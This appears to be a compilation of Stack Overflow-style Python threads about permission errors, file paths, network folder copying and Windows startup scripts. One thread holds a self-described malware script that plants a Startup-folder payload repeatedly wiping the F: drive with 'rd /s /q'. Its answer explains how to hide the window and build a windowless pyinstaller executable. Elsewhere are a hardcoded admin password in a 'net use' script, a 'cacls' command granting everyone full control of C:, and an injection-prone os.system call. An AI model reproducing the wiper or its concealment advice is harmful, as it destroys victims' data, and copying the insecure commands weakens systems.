"/Library" directory permission denied on Mac - Python3 - python

I'm trying to create a program that copies a directory in the library directory on mac (path : "/Library"). I use shutil which works very well in other directories but not in the Library directory...
I want to be able to compile my program, so I can't run it as root.
Here is my code :
import shutil
def copy(src_path, dir_path):
try:
shutil.copytree(src_path, dir_path)
print("Success!")
except:
print("Impossible to copy the folder...")
print("Failed!")
copy("/Users/marinnagy/Desktop/Test", "Library/Test")
I think it's because the library directory is protected and requires authentication to make changes.
Do I have to make an authentication request to the user ? Or do I need to use another method than shutil ?
Thanks for your help !

After a good deal of research and many attempts, I finally managed to copy a folder into my Library directory.
On macOS, the process of writing to a protected directory like the Library directory is blocked for python program. Once compiled (I use pyinstaller), it seems to be impossible for a python application to access this kind of folder, even if you give the app Full Disk Access in the System Preferences.
So I used some AppleScript to manage this specific copy/paste task :
on run {scr_path, dir_path} # Run with arguments
# Translate standard paths to their quoted form
set formated_scr_path to quoted form of scr_path
set formated_dir_path to quoted form of dir_path
# Run a simple shell script to copy the repertory in the other
do shell script "cp -R " & formated_scr_path & space & formated_dir_path ¬
with administrator privileges # Ask for administrator privileges
end run
Then, in my python program, I call the AppleScript program when I want to copy/past to a protected repertory like the Library repertory :
import subprocess
def copy(scr_path, dir_path):
# Use the osascript process to call the AppleScript
# Give the paths in arguments
process = subprocess.call(['osascript', "path/to/applescript",
scr_path, dir_path])
return process
copy("path/to/folder 1", "path/to/folder 2")
This method worked for me on protected repertories. The AppleScript run in the background and an authentication window pop in, asking the user to identify himself as an admin :
result screenshot

Related

PermissionError: [Errno 13] Permission denied

I'm getting this error :
Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Python34\lib\tkinter\__init__.py", line 1538, in __call__
return self.func(*args)
File "C:/Users/Marc/Documents/Programmation/Python/Llamachat/Llamachat/Llamachat.py", line 32, in download
with open(place_to_save, 'wb') as file:
PermissionError: [Errno 13] Permission denied: '/goodbye.txt'
When running this :
def download():
# get selected line index
index = films_list.curselection()[0]
# get the line's text
selected_text = films_list.get(index)
directory = filedialog.askdirectory(parent=root,
title="Choose where to save your movie")
place_to_save = directory + '/' + selected_text
print(directory, selected_text, place_to_save)
with open(place_to_save, 'wb') as file:
connect.retrbinary('RETR ' + selected_text, file.write)
tk.messagebox.showwarning('File downloaded',
'Your movie has been successfully downloaded!'
'\nAnd saved where you asked us to save it!!')
Can someone tell me what I am doing wrong?
Specs :
Python 3.4.4 x86
Windows 10 x64
This happens if you are trying to open a file, but your path is a folder.
This can happen easily by mistake.
To defend against that, use:
import os
path = r"my/path/to/file.txt"
assert os.path.isfile(path)
with open(path, "r") as f:
pass
The assertion will fail if the path is actually of a folder.
There are basically three main methods of achieving administrator execution privileges on Windows.
Running as admin from cmd.exe
Creating a shortcut to execute the file with elevated privileges
Changing the permissions on the python executable (Not recommended)
A) Running cmd.exe as and admin
Since in Windows there is no sudo command you have to run the terminal (cmd.exe) as an administrator to achieve to level of permissions equivalent to sudo. You can do this two ways:
Manually
Find cmd.exe in C:\Windows\system32
Right-click on it
Select Run as Administrator
It will then open the command prompt in the directory C:\Windows\system32
Travel to your project directory
Run your program
Via key shortcuts
Press the windows key (between alt and ctrl usually) + X.
A small pop-up list containing various administrator tasks will appear.
Select Command Prompt (Admin)
Travel to your project directory
Run your program
By doing that you are running as Admin so this problem should not persist
B) Creating shortcut with elevated privileges
Create a shortcut for python.exe
Righ-click the shortcut and select Properties
Change the shortcut target into something like "C:\path_to\python.exe" C:\path_to\your_script.py"
Click "advanced" in the property panel of the shortcut, and click the option "run as administrator"
Answer contributed by delphifirst in this question
C) Changing the permissions on the python executable (Not recommended)
This is a possibility but I highly discourage you from doing so.
It just involves finding the python executable and setting it to run as administrator every time. Can and probably will cause problems with things like file creation (they will be admin only) or possibly modules that require NOT being an admin to run.
Make sure the file you are trying to write is closed first.
Change the permissions of the directory you want to save to so that all users have read and write permissions.
You can run CMD as Administrator and change the permission of the directory using cacls.exe. For example:
cacls.exe c: /t /e /g everyone:F # means everyone can totally control the C: disc
In my case the problem was that I hid the file (The file had hidden atribute): How to deal with the problem in python:
Edit: highlight the unsafe methods, thank you d33tah
# Use the method nr 1, nr 2 is vulnerable
# 1
# and just to let you know there is also this way
# so you don't need to import os
import subprocess
subprocess.check_call(["attrib", "-H", _path])
# Below one is unsafe meaning that if you don't control the filePath variable
# there is a possibility to make it so that a malicious code would be executed
import os
# This is how to hide the file
os.system(f"attrib +h {filePath}")
file_ = open(filePath, "wb")
>>> PermissionError <<<
# and this is how to show it again making the file writable again:
os.system(f"attrib -h {filePath}")
file_ = open(filePath, "wb")
# This works
I had a similar problem. I thought it might be with the system. But, using shutil.copytree() from the shutil module solved the problem for me!
The problem could be in the path of the file you want to open. Try and print the path and see if it is fine
I had a similar problem
def scrap(soup,filenm):
htm=(soup.prettify().replace("https://","")).replace("http://","")
if ".php" in filenm or ".aspx" in filenm or ".jsp" in filenm:
filenm=filenm.split("?")[0]
filenm=("{}.html").format(filenm)
print("Converted a file into html that was not compatible")
if ".aspx" in htm:
htm=htm.replace(".aspx",".aspx.html")
print("[process]...conversion fron aspx")
if ".jsp" in htm:
htm=htm.replace(".jsp",".jsp.html")
print("[process]..conversion from jsp")
if ".php" in htm:
htm=htm.replace(".php",".php.html")
print("[process]..conversion from php")
output=open("data/"+filenm,"w",encoding="utf-8")
output.write(htm)
output.close()
print("{} bits of data written".format(len(htm)))
but after adding this code:
nofilenametxt=filenm.split('/')
nofilenametxt=nofilenametxt[len(nofilenametxt)-1]
if (len(nofilenametxt)==0):
filenm=("{}index.html").format(filenm)
It Worked perfectly
in my case. i just make the .idlerc directory hidden.
so, all i had do is to that directory and make recent-files.lst unhidden after that, the problem was solved
I got this error as I was running a program to write to a file I had opened. After I closed the file and reran the program, the program ran without errors and worked as expected.
I faced a similar problem. I am using Anaconda on windows and I resolved it as follows:
1) search for "Anaconda prompt" from the start menu
2) Right click and select "Run as administrator"
3) The follow the installation steps...
This takes care of the permission issues
Here is how I encountered the error:
import os
path = input("Input file path: ")
name, ext = os.path.basename(path).rsplit('.', 1)
dire = os.path.dirname(path)
with open(f"{dire}\\{name} temp.{ext}", 'wb') as file:
pass
It works great if the user inputs a file path with more than one element, like
C:\\Users\\Name\\Desktop\\Folder
But I thought that it would work with an input like
file.txt
as long as file.txt is in the same directory of the python file. But nope, it gave me that error, and I realized that the correct input should've been
.\\file.txt
As #gulzar said, I had the problem to write a file 'abc.txt' in my python script which was located in Z:\project\test.py:
with open('abc.txt', 'w') as file:
file.write("TEST123")
Every time I ran a script in fact it wanted to create a file in my C drive instead Z!
So I only specified full path with filename in:
with open('Z:\\project\\abc.txt', 'w') as file: ...
and it worked fine. I didn't have to add any permission nor change anything in windows.
That's a tricky one, because the error message lures you away from where the problem is.
When you see "__init__.py" of an imported module at the root of an permission error, you have a naming conflict. I bed a bottle of Rum, that there is "from tkinter import *" at the top of the file. Inside of TKinter, there is the name of a variable, a class or a function which is already in use anywhere else in the script.
Other symptoms would be:
The error is prompted immediately after the script is run.
The script might have worked well in previous Python versions.
User Mixon's long epos about administrator execution privileges has no impact at all. There would be no access errors to the files mentioned in the code from the console or other pieces of software.
Solution:
Change the import line to "import tkinter" and add the namespace to tkinter methods in the code.
Two easy steps to follow:
Close the document which is used in your script if it's open in your PC
Run Spyder from the Windows menu as "Run as administrator"
Error resolved.
This error actually also comes when using keras.preprocessing.image so for example:
img = keras.preprocessing.image.load_img(folder_path, target_size=image_size)
will throw the permission error. Strangely enough though, the problem is solved if you first import the library: from keras.preprocessing import image and only then use it. Like so:
img = image.load_img(img_path, target_size=(180,180))

Python - Relative Paths in os.system calls

I am building a python utility which automates sysadmin type tasks. Part of the tool involves writing scripts and then calling them with powershell from the python interface. An example of such code is this:
def remote_ps_session():
target = raw_input("Enter your target hostname: ")
print "Creating target.ps1 file to establish connection"
pstarget = open("pstarget.ps1", "w")
pstarget.write("$target = New-Pssession " + target + "\n")
pstarget.write("Enter-PSSession $target" + "\n")
pstarget.close()
print "File created. Initiating Connection to remote host..."
os.system("powershell -noexit -ExecutionPolicy Unrestricted " + "C:\path\to\my\file\pstarget.ps1")
I would like to do two things which I think can be answered with the same method, I've just yet to find out what is best (importing vs variables vs initial setup definitions and so on)
For simplicity we'll say the utility is in C:\utility and the powershell functions are in a functions folder one level deeper: C:\utility\functions
I want to be able to specify a location for 1) where the script (the file that is written) is saved to and then 2) refer to that location when the os.system call is made. I want this to be able to run on most/any modern Windows system.
My thoughts on possibilities are:
When the script launches get the current directory and save that as a variable, if I need to go back a directory take that variable and remove everything after the last \ and so on. Doesn't seem ideal.
On the first launch of the file prompt for system locations to put in variables. For instance have it prompt 'where do you want your log files?' 'where do you want your output files?' 'where do you want your generated scripts?' These could then be referred to as variables but would break if they ever moved folders and may not be easy to 'fix' for a user.
I imagine there is some way to refer to current directories and navigate to ..\parallel folder to where I am executing from. ....\2 folders up, but that also seems like it might be messy. I've yet to see what a standard/best practice for managing this is.
Edit: based on some comments I think __file__ might be the place to start looking. I'm going to dig in to this some but any examples (for example: __file__/subfoldernameor whatever the usage would be would be cool.
Python has a lib dedicated to path manipulation os.path, so anytime you need filesystem paths manipulation take a look at it.
As for your particular questions, run the following example, to see how you can use the functions from this lib:
test.py
import os
# These two should basicly be the same,
# but `realpath` resolves symlinks
this_file_absolute_path = os.path.abspath(__file__)
this_file_absolute_path1 = os.path.realpath(__file__)
print(this_file_absolute_path)
print(this_file_absolute_path1)
this_files_directory_absolute_path = os.path.dirname(this_file_absolute_path)
print(this_files_directory_absolute_path)
other_script_file_relative_path = "functions/some.ps"
print(other_script_file_relative_path)
other_script_file_absolute_path = os.path.join(this_files_directory_absolute_path,
other_script_file_relative_path)
print(other_script_file_absolute_path)
print("powershell -noexit -ExecutionPolicy Unrestricted %s" %
other_script_file_absolute_path)
You should get output similar to this:
/proj/test_folder/test.py
/home/user/projects/test_folder/test.py
/proj/test_folder
functions/some.ps
/proj/test_folder/functions/some.ps
powershell -noexit -ExecutionPolicy Unrestricted /proj/test_folder/functions/some.ps

How to send folder or a file via network using cmd commands

I am new at python and I am a student. In our home everyone has a computer and they have all have administrator account and the password of them are the same. I am trying to make a program that sends a folder or folders from my PC to other computers. I used cmd command "net use" to get access to all of the computers using the administrator account and used "xcopy" to copy folders to other computers.
The problem is that, when I use the net use command it says command successfully executed but when I try to use xcopy command it can't copy the folder. When I check the code nothing seems wrong to me. Could you help me find the problem or could I do this in some other way without using cmd or with using cmd? And how can a get the machine name and the username of the computers that I want to send folders to and use it in the code instead of manualy writing it like I did in the script of mine ?
This is the script that I wrote :
import os
import subprocess
def check(a):
checkpath="\\\\"+a+"\\c$\\users"
if os.path.exists(checkpath): # this is the function to check if the net use command worked and get access to other computer
return True
usernumber=1000 #ı adjust the usernames and machine names of the computers like "a1000,a1001 ..."
notsendto=[] #and "m4000,m4001" to make it easy to get access a stands for account m stands for machine
machinenames=["m4001","m4002","m4003","m4004","m4005","m4006","m4007"]
path=input("write the path that you want to send: ")
for i in machinenames:
usernumber+=1
subprocess.Popen("net use \\\\"+i+"\\c$ /user:"+i+"\\administrator P.a$$word /p:yes")
if check(i):
subprocess.Popen("xcopy "+path+" \\\\"+i+"\\c$\\users\\"+str(usernumber)+"\\desktop\\Incoming!!! /s /i")
else:
print("could not send to"+i)
import os
import subprocess
def check(a):
checkpath="\\\\"+a+"\\c$\\users"
if os.path.exists(checkpath): # this is the function to check if the net use command worked and get access to other computer
return True
usernumber=1000 #ı adjust the usernames and machine names of the computers like "a1000,a1001 ..."
notsendto=[] #and "m4000,m4001" to make it easy to get access a stands for account m stands for machine
machinenames=["m4001","m4002","m4003","m4004","m4005","m4006","m4007"]
path=input("write the path that you want to send: ")
for i in machinenames:
usernumber+=1
os.system(r"net use \\"+i+r"\c$ PassWord /u:"+i+r"\usernumber /P:yes")
if check(i):
subprocess.Popen("xcopy "+path+" \\\\"+i+"\\c$\\users\\"+str(usernumber)+"\\desktop\\Incoming!!! ")
else:
print("could not send to"+i)

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

python execute system commands (windows)

So I have this uber script which constantly checks the system path for a program (openvpn). When you install openvpn it adds itself to the system path. I run my script in the console and, while it runs and checks, I install openvpn. In that console my script will never find openvpn in sys path. If I open a new console and run the same script it finds it.
Any idea how I can make my script a little less dumb?
import os
import time
import subprocess
def cmd( command ):
return subprocess.check_output( command, shell = True )
def program_in_path( program ):
path = cmd( "path" ).split(";")
for p in path:
if "openvpn" in p.lower():
return True
return False
if __name__ == '__main__':
while True:
print program_in_path("openvpn")
time.sleep( 2 )
I presume it's from the shell = True thing but how else would I find it if not with path or WHERE openvpn /Q ? Running with no sehll I get WindowsError: [Error 2] The system cannot find the file specified
Here's slightly the same program done in ruby which works 100%:
loop do
puts system( "WHERE openvpn /Q" )
sleep( 5 )
end
Unfortunately my project is too deep into python to switch languages now. Too bad.
It's actually because when your program starts, it has an environment configured. Part of that environment is the system path. When you start a subshell, it inherits the environment of the parent process.
I'm not a Windows programmer, and I don't have a Windows machine available to test on right now. But according to that bug report, if you import nt in your script and reload(nt) in your while True loop that it will pull down a fresh copy of the environment from the system. I don't know whether that's true or not. It might be worth a try.
For what it's worth, you can see the same behavior from the cmd window by, for instance, opening a command window, adding a program folder to the System Path, and then trying to run an exe from that program folder in your existing cmd window. It won't work -- but open a new cmd window, and it will.
The bug report you cite is about a different problem. That problem outlined there is that from within Python, if you load in one of the system DLLs and use a particular function Windows provides for manipulating your environment, Python does not reflect the change. However, if you make a change to os.environ, Python recognizes that change. The conclusion from the community was that the particular function that the reporter was using, was not the correct function to use to get the results he expected.
Perhaps this approach works for you, getting the PATH variable straight from the registry (since you're on Windows).
For instance you could do something like this:
import winreg
def PathFromReg():
loc = r'SYSTEM\CurrentControlSet\Control\Session Manager\Environment'
reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
key = winreg.OpenKey(reg, loc)
n_val = winreg.QueryInfoKey(key)[1]
for i in range(n_val):
val = winreg.EnumValue(key, i)
if val[0] == 'Path':
return val[1]
path = PathFromReg()
print('openvpn' in path.lower())
I think you only need to assign the key once and then query the values inside the loop.
Note: In Python 2 the module is called _winreg.

Categories